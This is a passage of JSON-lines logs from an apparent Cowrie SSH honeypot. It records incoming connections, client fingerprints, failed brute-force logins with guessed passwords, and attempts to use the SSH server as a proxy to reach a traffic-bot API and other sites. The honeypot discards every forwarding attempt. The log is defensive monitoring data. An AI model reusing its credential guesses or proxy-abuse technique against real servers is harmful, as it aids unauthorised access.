6QI8YlQkDaFXI4DI9lv1h8CJMHFYfLtepkodEfYJrxHpJicjgXTNXfPNBFUCQuTuj17h%2F3%2FtCR234Jc05xHoTHfk6zx6K5VqM3DK4OWDTGS8%2BFivbNUD9iL5vqDZt0Q4cXx7Lb%2FerwiBhvPfLtrU6XkPVd4AE6YceiO%2BlE9a%2FwE8F1MnmB9mJVPDGVcO4N9sZdobm4wtQek5JBCPnZp6uOMl9Oux0VvMkA1afT6IYfy%2BL9OZabDZXplenxm3'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1178\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 7.1.1; A577) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=X1p2ZlN7KXFpOGVrVHZ7cg%3D%3DGNlCPfb%2BoCF6qFBee%2BDknqMrI9FiSAebjR3NNwBYzVuT4LIHwPyokdVADfp6wJSbwlO6rYD2OoDIEaRLXTyO4mMll23ROy2RzqWPEqP6LHjCbZ3ZnoCTFk3c3ewI2fcL69yZIZj82nqUHgQQglV1%2BKQsBpcr1fYxhXwZXZEMZDldk7l55OWgPC70Y8jNRtzhD3RLlioA3fX2FVlWLBhKMdioTK72rXhk7fN2E0CEW1Q6r5upXeZ0OiEcjgHx%2FT9z98WhrPoUBwYoBq6gMWLAUgHFxqOUex6k%2FiXeca6V2llYIqagZBMpH95YQG4z%2FpiE4R3yyEvE3rtWcQ%2FUf8MWyjW3oJ%2Bm0XneZGkoF%2B4YBwTGA%2BZcJoVbMZcF1kkC5AUdHZ9lh0kJhKZvmMeZUJV4GCiVZahllvASTa5w913MWnM2tbw6c0IarepmcpCgo5kbte12oTskW8prEzpFRqr9oavM%2FD3rW%2Fu2nb%2BF74llbWkHiYeNENv66rbkQXgi8Les58ByuPZpi2FsfvUAIHYExyFFd8YARiV9BC1U%2BseY2Mp5EjVwUwdox1Mwq30Ckmjkd2S%2Fm9mbqs0hgaIks2i%2F3CyzwqI6rSMB%2FsVTobpt5v3EQjNWd1hVmB7PwKJQy0Whr9aHoowD2IQ3yg9SDGERFEVfNKHLbitEGCSQ8LVaniKesDUz0e2dG1%2FY3xlqlqVWipkcScfFfkYQoLY3SvCwKt%2FtzbKtqJwjIRkRrE%2Bs9%2BCXelX9u9%2FYNhtsO0mSpidjqazLeaZZbxcJPxx7enqv7gonlNa0QY5leoBAKcxWEbV24SElrEAvE5FDFM6N%2BGXmy7Jg6QI8YlQkDaFXI4DI9lv1h8CJMHFYfLtepkodEfYJrxHpJicjgXTNXfPNBFUCQuTuj17h%2F3%2FtCR234Jc05xHoTHfk6zx6K5VqM3DK4OWDTGS8%2BFivbNUD9iL5vqDZt0Q4cXx7Lb%2FerwiBhvPfLtrU6XkPVd4AE6YceiO%2BlE9a%2FwE8F1MnmB9mJVPDGVcO4N9sZdobm4wtQek5JBCPnZp6uOMl9Oux0VvMkA1afT6IYfy%2BL9OZabDZXplenxm3'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:21.362660Z","src_ip":"123.27.168.40","session":"7168f8cfb20b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:21.611090Z","src_ip":"123.27.168.40","session":"7168f8cfb20b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x078\\x98\\x89\\xf6\\xd6\\x04\\xd8\\xcb\\xb66\\xd9\\x8b\\xe1R9p\\xd19\\xdcX\\x9bhQiQ\\xe4\\x04\\xd0\\x1a\\x18\\xed i\\xad\\\\\\xc96\\xeb/\\xf5\\xa1\\xc8\\x15\\xcb\\xd1\\xaet\\xd1\\xc9\\xa6\\x8cF#AG\\x1f\\x05\\xa6\\xacf\\x87\\xb3\\xc3\\x96\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 W\\xa4\\xa7\\x83\\x8c\\xfe!\\x828\\x03C\\x18\\xe3T\\xd9\\x96\\xbb;o\\xd2&\\x1b\\r\\x85\\xc0\\xbcR#{\\x802+\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x078\\x98\\x89\\xf6\\xd6\\x04\\xd8\\xcb\\xb66\\xd9\\x8b\\xe1R9p\\xd19\\xdcX\\x9bhQiQ\\xe4\\x04\\xd0\\x1a\\x18\\xed i\\xad\\\\\\xc96\\xeb/\\xf5\\xa1\\xc8\\x15\\xcb\\xd1\\xaet\\xd1\\xc9\\xa6\\x8cF#AG\\x1f\\x05\\xa6\\xacf\\x87\\xb3\\xc3\\x96\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 W\\xa4\\xa7\\x83\\x8c\\xfe!\\x828\\x03C\\x18\\xe3T\\xd9\\x96\\xbb;o\\xd2&\\x1b\\r\\x85\\xc0\\xbcR#{\\x802+\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:21.613777Z","src_ip":"123.27.168.40","session":"7168f8cfb20b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":55368,"dst_ip":"159.203.135.109","dst_port":22,"session":"86844fe58e07","protocol":"ssh","message":"New connection: 37.233.85.71:55368 (159.203.135.109:22) [session: 86844fe58e07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:21.857274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:21.861239Z","src_ip":"37.233.85.71","session":"86844fe58e07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:21.970102Z","src_ip":"37.233.85.71","session":"86844fe58e07","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:22.114962Z","session":"7168f8cfb20b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chegevara","message":"login attempt [root/chegevara] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:22.295364Z","src_ip":"37.233.85.71","session":"86844fe58e07","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:22.371102Z","src_ip":"123.27.168.40","session":"7168f8cfb20b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb9\\x98\\x98\\xb8\\x10\\xf7D`\\x06\\x88\\xfe\\xd4\\xe7\\x9f\\xe1DE\\xb0\\x18\\x89\\x93\\xbe\\t~\\x19\\xbf\\xa2N\\x90\\x13}/ \\xbf\\x97G\\xf2\\xbb\\xfe=BW\\xd1\\x8a:\\xf6*|NB\\xdc2\\xf2,m\\xff\\x9an\\xcb}M\\x9c:7O\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 8\\xbd\\xf0OS\\xc9\\xed5+\\x981\\x82jB\\xa2\\x8b\\x87Tm\\x93\\x9eX\\nz\"Kv^i^\\x16R\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb9\\x98\\x98\\xb8\\x10\\xf7D`\\x06\\x88\\xfe\\xd4\\xe7\\x9f\\xe1DE\\xb0\\x18\\x89\\x93\\xbe\\t~\\x19\\xbf\\xa2N\\x90\\x13}/ \\xbf\\x97G\\xf2\\xbb\\xfe=BW\\xd1\\x8a:\\xf6*|NB\\xdc2\\xf2,m\\xff\\x9an\\xcb}M\\x9c:7O\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 8\\xbd\\xf0OS\\xc9\\xed5+\\x981\\x82jB\\xa2\\x8b\\x87Tm\\x93\\x9eX\\nz\"Kv^i^\\x16R\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:22.377683Z","src_ip":"123.27.168.40","session":"7168f8cfb20b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:22.762498Z","src_ip":"123.27.168.40","session":"7168f8cfb20b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:23.406382Z","src_ip":"37.233.85.71","session":"86844fe58e07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.90.100.147","src_port":37944,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec5575a232f9","protocol":"ssh","message":"New connection: 41.90.100.147:37944 (159.203.135.109:22) [session: ec5575a232f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:23.571648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:23.574801Z","src_ip":"41.90.100.147","session":"ec5575a232f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:23.790318Z","src_ip":"41.90.100.147","session":"ec5575a232f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":22852,"dst_ip":"159.203.135.109","dst_port":22,"session":"d183db6ba577","protocol":"ssh","message":"New connection: 91.92.40.36:22852 (159.203.135.109:22) [session: d183db6ba577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:24.682635Z"}
{"eventid":"cowrie.login.failed","username":"us","password":"123","message":"login attempt [us/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:24.710492Z","src_ip":"41.90.100.147","session":"ec5575a232f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:25.934993Z","src_ip":"41.90.100.147","session":"ec5575a232f9","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:02:27.035599Z","src_ip":"91.92.40.36","session":"d183db6ba577","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v